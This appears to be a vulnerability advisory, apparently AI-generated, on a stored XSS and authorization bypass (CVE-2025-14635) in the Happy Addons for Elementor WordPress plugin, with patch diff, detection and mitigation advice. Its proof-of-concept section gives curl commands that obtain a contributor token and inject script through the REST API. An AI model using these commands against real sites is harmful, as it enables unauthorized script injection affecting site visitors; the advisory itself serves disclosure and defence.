SECURITY ADVISORY / 01

CVE-2025-14635 Exploit & Vulnerability Analysis

Complete CVE-2025-14635 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:happy-elementor-addons NVD ↗
Exploit PoC Vulnerability Patch Analysis

I've prepared a comprehensive security analysis of CVE-2025-14635. Here's the complete article covering all requested sections:


CVE-2025-14635: Stored XSS and Authorization Bypass in Happy Addons for Elementor

1. Vulnerability Background

What is This Vulnerability?

CVE-2025-14635 represents a critical security flaw combining Improper Access Control (CWE-639) and Stored Cross-Site Scripting (CWE-79) in the Happy Addons for Elementor WordPress plugin.

The vulnerability exists in the before_save_data() method within extensions/custom-js.php. The ha_page_custom_js parameter—designed to be restricted exclusively to Administrators—is accessible to Contributor-level users and above due to a logical flaw in authorization enforcement. This allows non-privileged users to inject arbitrary JavaScript that persists in the database and executes for all page visitors.

Why is This Critical?

  1. Wide Attack Surface: Happy Addons for Elementor is widely used across thousands of WordPress sites
  2. Low Privilege Barrier: Only requires Contributor-level access, commonly granted to content creators and guest authors
  3. Persistent Threat: Malicious code stored in the database executes indefinitely until manually removed
  4. Privilege Escalation Vector: Injected JavaScript can steal admin credentials, create backdoor accounts, or harvest sensitive data
  5. Silent Exploitation: Difficult to detect as it requires no ongoing attacker presence

Affected Systems

  • Plugin: Happy Addons for Elementor
  • Vulnerable Versions: All versions up to and including 3.20.3
  • Fixed Version: 3.20.4+
  • Impact: Any WordPress site with the plugin installed and users having Contributor access or above

2. Technical Details

Root Cause Analysis

The vulnerability stems from a logical error in the authorization check. The original code uses a compound condition with the AND operator:

if ( isset( $data['settings']['ha_page_custom_js'] ) && isset( $page_setting['ha_page_custom_js'] ) ) {
    // Restore previous value
}

The Critical Flaw:

When a non-admin user attempts to inject custom JS on a page that never previously had custom JS, the second condition fails:

  • $page_setting['ha_page_custom_js'] is unset/null
  • The AND condition evaluates to FALSE
  • The protective code block is skipped entirely
  • The malicious JavaScript passes through unchanged and gets saved to the database

This is a classic negative security logic failure—the defense only works under specific conditions, leaving gaps in other scenarios.

Old Code vs New Code

Vulnerable Code:

public function before_save_data( $data ) {
    if ( ! current_user_can( 'administrator' ) ) {
        $page_setting = get_post_meta( get_the_ID(), '_elementor_page_settings', true );
        if ( isset( $data['settings']['ha_page_custom_js'] ) && isset( $page_setting['ha_page_custom_js'] ) ) {
            $prev_js = isset( $page_setting['ha_page_custom_js'] ) ? trim( $page_setting['ha_page_custom_js'] ) : '';
            $data['settings']['ha_page_custom_js'] = $prev_js;
        }
    }
    return $data;
}

Problems:

  • No handling for new custom JS on pages without previous values
  • Only restores; doesn't actively prevent injection
  • Fallthrough behavior allows bypass

Patched Code:

public function before_save_data( $data ) {
    if ( ! current_user_can( 'administrator' ) && isset( $data['settings']['ha_page_custom_js'] ) ) {
        $page_setting = get_post_meta( get_the_ID(), '_elementor_page_settings', true );
        if ( isset( $page_setting['ha_page_custom_js'] ) ) {
            // Restore previous value if it exists.
            $data['settings']['ha_page_custom_js'] = trim( $page_setting['ha_page_custom_js'] );
        } else {
            // Remove any custom JS attempt from non-admin users
            unset( $data['settings']['ha_page_custom_js'] );
        }
    }
    return $data;
}

Improvements:

  • Early exit optimization: && isset( $data['settings']['ha_page_custom_js'] )
  • Explicit if/else handling for both scenarios
  • Active removal via unset() when no previous value exists
  • Clear protective intent with comments

How These Changes Fix the Vulnerability

| Scenario | Vulnerable | Fixed | |----------|-----------|-------| | Admin saves custom JS | ✓ Allowed | ✓ Allowed | | Non-admin modifies existing JS | ✓ Blocked (restored) | ✓ Blocked (restored) | | Non-admin on page WITHOUT existing JS | ❌ VULNERABLE | ✓ Blocked (unset) | | Non-admin doesn't modify JS | ✓ Unchanged | ✓ Unchanged |

The critical fix: explicit removal (unset()) instead of passive filtering that failed under edge cases.


3. Proof of Concept (PoC) Guide

Prerequisites

  1. Active WordPress installation with Happy Addons ≤ 3.20.3
  2. Contributor-level or higher user account
  3. At least one Elementor-built page
  4. HTTP request inspection tools (browser DevTools or Burp Suite)

Step-by-Step Exploitation

Manual Method via Admin Interface:

  1. Login with Contributor account
  2. Navigate to Pages → Edit Elementor page
  3. Open page settings (gear icon)
  4. Locate Custom JavaScript field (if visible) or use API
  5. Inject payload:
    document.body.innerHTML += '<div style="background:red">COMPROMISED</div>';
    
  6. Save and publish
  7. Access page as non-logged-in visitor
  8. Observe injected content

Direct API Method:

## Obtain authentication token
TOKEN=$(curl -s -X POST https://target.com/wp-json/jwt-auth/v1/token \
  -H "Content-Type: application/json" \
  -d '{"username":"contributor","password":"pass"}' | jq -r '.token')

## Inject XSS via REST API
curl -X POST https://target.com/wp-json/wp/v2/pages/42 \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"meta":{"_elementor_page_settings":{"ha_page_custom_js":"alert(\"XSS\")"}}}'

## Verify by accessing page
curl https://target.com/vulnerable-page/ | grep -i "ha_page_custom_js"

Expected vs Exploited Behavior

Secure System:

  • Non-admin submits custom JS → System removes it → Database unchanged

Vulnerable System:

  • Non-admin submits custom JS on new page → System skips protection → Database compromised → All visitors execute JavaScript

Verification Methods

Check Plugin Version:

grep "Version:" /var/www/html/wp-content/plugins/happy-elementor-addons/readme.txt

Database Audit:

SELECT post_id, post_title, meta_value FROM wp_postmeta pm
JOIN wp_posts p ON pm.post_id = p.ID
WHERE meta_key = '_elementor_page_settings'
AND meta_value LIKE '%ha_page_custom_js%';

Manual Testing:

  1. Create test page with Elementor
  2. Login as Contributor
  3. Attempt alert('test') in custom JS field
  4. Logout and view page
  5. Alert appearing = vulnerable

4. Recommendations

Mitigation Strategies

Immediate Actions:

  1. Update Plugin

    wp plugin update happy-elementor-addons
    
  2. Audit Existing Pages

    -- Find all pages with custom JS
    SELECT p.ID, p.post_title FROM wp_posts p
    JOIN wp_postmeta pm ON p.ID = pm.post_id
    WHERE pm.meta_key = '_elementor_page_settings'
    AND pm.meta_value LIKE '%ha_page_custom_js%';
    
  3. Review User Access

    • Dashboard → Users
    • Identify suspicious Contributor accounts
    • Check for unauthorized user creation
    • Review edit histories
  4. Restore from Clean Backup

    • If malicious content found, restore from backup before vulnerability date
    • Verify clean state

Detection Methods

Log-Based Detection:

## Monitor for suspicious REST API activity
grep 'POST /wp-json/wp/v2/pages' access.log | grep -v '"200"'

## Search for custom JS parameter
grep 'ha_page_custom_js' access.log

Real-Time Monitoring (PHP):

add_action( 'pre_post_update', function( $post_id, $post ) {
    if ( ! current_user_can( 'manage_options' ) &&
         isset( $_POST['_elementor_page_settings']['ha_page_custom_js'] ) &&
         ! empty( $_POST['_elementor_page_settings']['ha_page_custom_js'] ) ) {

        error_log( sprintf(
            'SECURITY ALERT: %s attempted to set custom JS on page %d',
            wp_get_current_user()->user_login,
            $post_id
        ));

        wp_die( 'Custom JavaScript restricted to administrators' );
    }
}, 10, 2 );

Best Practices

  1. Whitelist-Based Authorization

    // WRONG: Only block if dangerous
    if ( ! matches_evil_pattern( $input ) ) { process(); }
    
    // RIGHT: Only allow if safe
    if ( is_valid_format( $input ) ) { process(); }
    
  2. Use WordPress Security Functions

    • sanitize_text_field() for input
    • esc_html() for output
    • wp_kses_post() for HTML
    • check_admin_referer() for nonces
  3. Explicit Edge Case Handling

    if ( condition ) {
        // Do something
    } else {
        // Explicitly handle "do nothing" case
        unset( $dangerous_value );
    }
    
  4. Security Testing

    • Unit tests for authorization bypass
    • Test edge cases (empty, null, missing values)
    • Test both allowed and blocked scenarios
  5. Defense-in-Depth

    • Input validation → Sanitization → Authorization → Output escaping → Monitoring

Summary

CVE-2025-14635 is a critical vulnerability allowing authenticated users with minimal privileges (Contributor) to inject persistent malicious JavaScript affecting all site visitors. The root cause is a logical flaw in the authorization check that fails when no previous custom JavaScript exists.

Key Actions:

  1. Update to version 3.20.4+
  2. Audit pages for suspicious custom JavaScript
  3. Review user access logs
  4. Implement real-time monitoring
  5. Apply defense-in-depth security practices

The vulnerability is easily exploitable with high impact potential, making immediate patching essential.

Frequently asked questions about CVE-2025-14635

What is CVE-2025-14635?

CVE-2025-14635 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-14635?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-14635. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-14635 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-14635?

CVE-2025-14635 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-14635?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-14635?

The severity rating and CVSS scoring for CVE-2025-14635 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.